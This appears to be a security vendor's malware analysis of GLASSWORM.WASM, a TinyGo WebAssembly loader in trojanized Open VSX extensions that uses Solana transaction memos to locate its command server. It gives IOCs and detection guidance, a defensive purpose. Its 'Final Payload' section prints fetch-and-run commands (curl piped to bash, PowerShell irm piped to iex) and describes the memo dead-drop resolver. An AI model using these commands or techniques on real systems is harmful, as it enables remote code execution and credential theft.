GLASSWORM.WASM: Deconstructing the TinyGo WebAssembly Loader Hitting Open VSX
On June 9, 2026, Argus flagged two trojanized Open VSX extensions that ship a TinyGo-compiled WebAssembly payload and use Solana transaction memos to resolve command-and-control infrastructure. The extensions exargd.vsblack@0.0.1 and noellee-doc.flint-debug@0.1.1 matched the GLASSWORM patterns we had been tracking, so we pulled the surrounding scan history and the WASM binary apart.
This post covers the full campaign footprint Argus captured, including seven distinct malicious extensions, as well as the WebAssembly payload itself — its structural fingerprint, its ChaCha20 + XOR string obfuscation, and why TinyGo creates a distinctive detection surface.
Timeline
Argus first lit up on the broader GLASSWORM Solana wave on 2026-05-23 at 09:48 UTC, on finlay-ab.vscode-latex-runner. The threat actor’s wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz had been funded at 03:18 UTC that same day and posted its first dodod.lat memo at 03:44 UTC — less than six hours before Argus saw the first malicious upload.
The two WASM variant extensions later covered in public reporting were uploaded a little over two weeks later:
| Extension | Open VSX upload | Argus scan completed | Verdict | Risk |
|---|---|---|---|---|
ExarGD.vsblack-0.0.1.vsix |
2026-06-09 04:27 UTC | 2026-06-09 04:27 UTC | MALICIOUS | 90 |
noellee-doc.flint-debug-0.1.1.vsix |
2026-06-10 12:28 UTC | 2026-06-10 12:28 UTC | MALICIOUS | 85 |
The YARA rules that fired — Y_Mal_tinygo_wasm_solana_exfil_t1 and Y_Mal_tinygo_wasm_solana_exfil_t2 — match structural fingerprints in the TinyGo WASM binary rather than decrypted strings, so the verdicts were available at scan completion time.
The Full Campaign Footprint in Argus
Postgres scan history shows the two publicly reported names are only the start. The same payload family, carried under different impersonated or disposable publisher namespaces, produced seven distinct malicious extension names between 2026-06-09 and 2026-06-12:
| Extension | First Argus scan | Content hashes observed | Max risk |
|---|---|---|---|
ExarGD.vsblack-0.0.1.vsix |
2026-06-09 | 2 | 90 |
noellee-doc.flint-debug-0.1.1.vsix |
2026-06-10 | 1 | 85 |
kmsbofoxpf.fcrhyhewjv-0.0.1.vsix |
2026-06-12 05:00 | 1 | 88 |
sfqkrvjrtl.prdoypxjbi-0.0.1.vsix |
2026-06-12 05:03 | 1 | 75 |
GoNZooo.aurora-gonz-0.9.4.vsix |
2026-06-12 05:07 | 1 | 85 |
istornz.koby-1.0.0.vsix |
2026-06-12 05:17 | 1 | 85 |
qizhao.element-vue-snippets-2.0.2.vsix |
2026-06-12 09:33–18:17 | 6 | 90 |
The threat actor submitted at least six different content hashes of the same qizhao.element-vue-snippets-2.0.2 version string over nine hours, which is the namespace-iteration burst pattern we have seen in earlier GLASSWORM waves. One late hash matched Y_Mal_tinygo_wasm_solana_exfil_t3, a broader rule variant, suggesting the threat actor was tuning the build to evade the tier-1/tier-2 signatures. All of these share the same TinyGo js/wasm payload family; the exact binary hash varies by build. We analyzed the binary with SHA256 2417df8fdc0f94e22a850892e3f6f8bc7122a079073b5ea725b3b0f2076357d8 for this post.
The WebAssembly Loader
The payload is a TinyGo js/wasm build: 469 functions, 17 exports, 45 data segments, and only 17 imports. There are no direct network, filesystem, or process imports. Every I/O path is delegated to the JavaScript host through the syscall/js bridge (gojs.syscall/js.valueCall, valueGet, valueNew, copyBytesToGo, etc.). This is why the module can sit in a VSIX, look like an inert .wasm, and still reach fetch, require('child_process').execSync, and process.platform once the host loads it.
The JavaScript shim, oanyxekywdosumzl.js, is the standard TinyGo wasm_exec.js runtime with minor formatting changes. This shim is the required bridge; paired with the .wasm it enables the malicious behavior.
String Encryption
Static grep against the raw binary returns nothing for api.mainnet.solana.com, the wallet, child_process, execSync, or powershell. The meaningful strings are encrypted. What we do find in the data section is the ChaCha/Salsa20 constant:
data d_expand32bytek4D(offset: 65536) =
"expand 32-byte k\f0\f0\f0..."
The 32-byte key is generated at runtime by chacha20_rng calling wasi_snapshot_preview1_random_get. This is an intentional design choice that moves IOCs out of the file and into runtime memory.
The same choice creates a detection opportunity. Because the module must still carry the ChaCha20 constant, the gojs.syscall/js bridge, and the Solana RPC reflection metadata (main.sigInfo, main.txResp, main.parsedIns), Argus can flag it at upload time without ever seeing a decrypted string.
Static Reconstruction
The payload uses a two-layer string obfuscation:
- ChaCha20 keystream generated from the constant and a runtime 32-byte key.
- A repeating 4-byte XOR mask applied afterward, using the constant
0x1020300F(decimal270596655) found across the decryption loops.
The binary’s DWARF symbols name the three relevant functions chacha20_init, chacha20_rng, and chacha20_update. The last one is the string-decrypt entry point: after ChaCha20, it XORs each output byte with a position-dependent byte from 0x1020300F:
i & 3 |
XOR byte |
|---|---|
| 0 | 0x0F |
| 1 | 0x30 |
| 2 | 0x20 |
| 3 | 0x10 |
The secondary XOR mask is an extra obfuscation layer we did not see described in public reporting. It means an analyst who recovers the ChaCha20 key from a memory snapshot still has to reverse this rolling byte mask before the plaintext appears.
Although the strings are encrypted, the build was compiled with debug info, meaning the symbol names are still present. From those symbols we recover the loader’s behavior directly:
| Symbol | What it tells us |
|---|---|
main.rpcCall |
The module issues JSON-RPC calls against a Solana node. |
main.jsFetch |
It reaches the network through the host’s fetch object. |
main.platform |
It branches on process.platform. |
main.extractMemo / main.memoFromIns / main.memoProgramIDs |
It parses SPL Memo instructions to read the C2 host. |
main.openURL |
It handles URL retrieval from the memo-supplied host. |
main.isOutgoing |
It filters transactions, likely to identify threat actor-controlled memos. |
chacha20_init / chacha20_rng / chacha20_update |
String encryption uses ChaCha20; the key is generated by RNG. |
These names, combined with the gojs.syscall/js import table and the Solana RPC response struct tags, let us map the attack chain without decrypting a single runtime string.
Dead-Drop Resolver
The module queries getSignaturesForAddress against the watched wallet, walks the returned signatures with before-based pagination, and fetches each transaction via getTransaction with encoding: "jsonParsed" and maxSupportedTransactionVersion. It parses the instructions array for any entry whose programId is one of the two SPL Memo program IDs, then reads the memo text from the parsed field. These query parameters match the prior GLASSWORM Solana wave we tracked in May.
The memo format we have observed in this threat actor’s prior waves is a numeric length prefix followed by the payload:
[9] dodod.lat
The loader strips the [9] prefix and uses the remainder as the C2 host. Because the wallet is on a public blockchain, there is no server to seize. The threat actor rotates infrastructure by signing a new memo transaction; every infected host picks up the new host on its next poll. The traffic blends with legitimate Solana dApp traffic because the RPC endpoint is api.mainnet.solana.com and the request is ordinary HTTPS JSON-RPC.
This is the same dead-drop primitive we documented in the May 25 GLASSWORM Solana post. The difference in this wave is the packaging: earlier variants shipped JavaScript-based loaders or Go PE implants; GLASSWORM.WASM ships the loader as TinyGo WebAssembly.
Final Payload
Once the C2 host is resolved, the module branches on process.platform and constructs the OS-specific retrieval command. The exact command templates are encrypted at rest, but the function names and URL path structure recovered statically point to the same pattern we have tracked across GLASSWORM waves. The expected templates are:
| Platform | Command |
|---|---|
| macOS | curl -fsSL https://<host>/darwin/i/_ \| bash |
| Linux | curl -fsSL https://<host>/linux/i/_ \| bash |
| Windows | powershell -Command "irm https://<host>/win32/i/_ \| iex" |
Execution is through require('child_process').execSync(cmd, { windowsHide: true }). The windowsHide flag is passed on every platform, not just Windows, which is a small but consistent operational artifact. The URL scheme /<platform>/i/_ implies the threat actor serves a distinct second stage per operating system from the same host.
Previous GLASSWORM Sightings
This is not a new actor. It is the same threat actor we have been tracking since late 2025, now on its fourth major packaging iteration:
- GLASSWORM Solana Wave (May 2026 analysis) — JavaScript in-memory dropper with AES-256-CBC
salt:iv:ciphertextstages, two-tier Solana memo C2 (dodod.latfor the dropper,jhggnrfnst.comfor the Go PE implant), and Go-basedBackup.exepersistence. - GLASSWORM Bane Forensics (April 2026 analysis) — disposable publishers, bot-inflated download counts, namespace squatting on developer-attractive names, and the same Solana wallet-based dead-drop primitive.
- RustImplant (December 2025 analysis) — Rust-compiled
.nodenative addon, AES-256-CBC over Base64 blobs, Solana memo C2 dead-drop.
The constants that persist across every iteration are the operational primitives, not the implementation language: AES/ChaCha20 runtime decryption, Solana memos for C2, disposable Open VSX publishers, and Russian-language artifacts or CIS geofencing in the compiled implants. The threat actor treats language and toolchain as interchangeable evasion layers. Detection has to live in the structural behavior — the import table, the toolchain fingerprint, and the blockchain-facing host bridge — because the code keeps changing.
Detection Signatures
Static string scanning fails against this family by design. The durable detection surfaces are structural and behavioral:
- TinyGo
js/wasmfingerprint in a VSIX:gojs.syscall/js.*imports,_startplusgo_schedulerexports, and a.wasmfile shipped alongside a small JS shim. - ChaCha20 + SPL Memo metadata in the binary: constant,
main.sigInfo/main.txResp/main.parsedInsreflection tags, and function names likemain.rpcCall,main.jsFetch,main.extractMemo,main.memoProgramIDs. - Outbound Solana RPC from unexpected code:
getSignaturesForAddressfollowed immediately bygetTransaction(jsonParsed)from a VS Code extension that is not explicitly Web3 tooling is a high-confidence signal. - SPL Memo program IDs in extension strings:
MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHrandMemo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFMare dead-drop parser targets. - Process execution from a Node runtime:
node → bash/curl/powershellparent-child relationships, especially withwindowsHide, catch Stage 3 regardless of which memo host is current. - The watched wallet:
6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpzis the fixed anchor. Re-resolve it periodically to track current infrastructure.
For Open VSX and VS Code fork users: if you installed ExarGD.vsblack@0.0.1 or noellee-doc.flint-debug@0.1.1 from Open VSX between June 9 and June 15, treat the host as compromised and rotate developer credentials. The genuine VS Code Marketplace listings under the same publisher names are the original 2019/2020 releases and were not affected.
Indicators of Compromise
Confirmed Malicious Extensions (Argus scan history)
ExarGD.vsblack-0.0.1.vsix
noellee-doc.flint-debug-0.1.1.vsix
kmsbofoxpf.fcrhyhewjv-0.0.1.vsix
sfqkrvjrtl.prdoypxjbi-0.0.1.vsix
GoNZooo.aurora-gonz-0.9.4.vsix
istornz.koby-1.0.0.vsix
qizhao.element-vue-snippets-2.0.2.vsix
WebAssembly Payload
- SHA256 (analyzed in this post):
2417df8fdc0f94e22a850892e3f6f8bc7122a079073b5ea725b3b0f2076357d8
Network and Blockchain Indicators (Defanged)
- Watched wallet:
6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz - Second-stage host:
dodod[.]lat
Detection Rule Fires in Argus
Y_Mal_tinygo_wasm_solana_exfil_t1
Y_Mal_tinygo_wasm_solana_exfil_t2
Y_Mal_tinygo_wasm_solana_exfil_t3
These rules match TinyGo js/wasm structural fingerprints, ChaCha20 evidence, and Solana JSON-RPC reflection metadata in the WASM data section. They do not rely on decrypted strings.
Conclusion
GLASSWORM.WASM is the same threat actor swapping the loader language. The C2 transport is still a Solana memo dead-drop and the endgame is still a platform-switched curl | bash / irm | iex fileless download. What changed is the packaging: TinyGo WebAssembly moves the loader out of JavaScript and into a binary that most extension scanners treat as opaque.
Argus did not treat it as opaque. The campaign was detected at upload time because the structural fingerprint of a TinyGo js/wasm module, a ChaCha20 constant, and Solana RPC reflection metadata is a stronger signal than any plaintext IOC.
These extensions and signals are consistently updated in the dev-guard extension. Built and maintained by the Yeeth Security team, dev-guard adds a crucial layer of protection for VS Code and Cursor AI users. By continuously monitoring new campaigns and pushing live updates, dev-guard helps shut down these threats before they can spread across the developer community.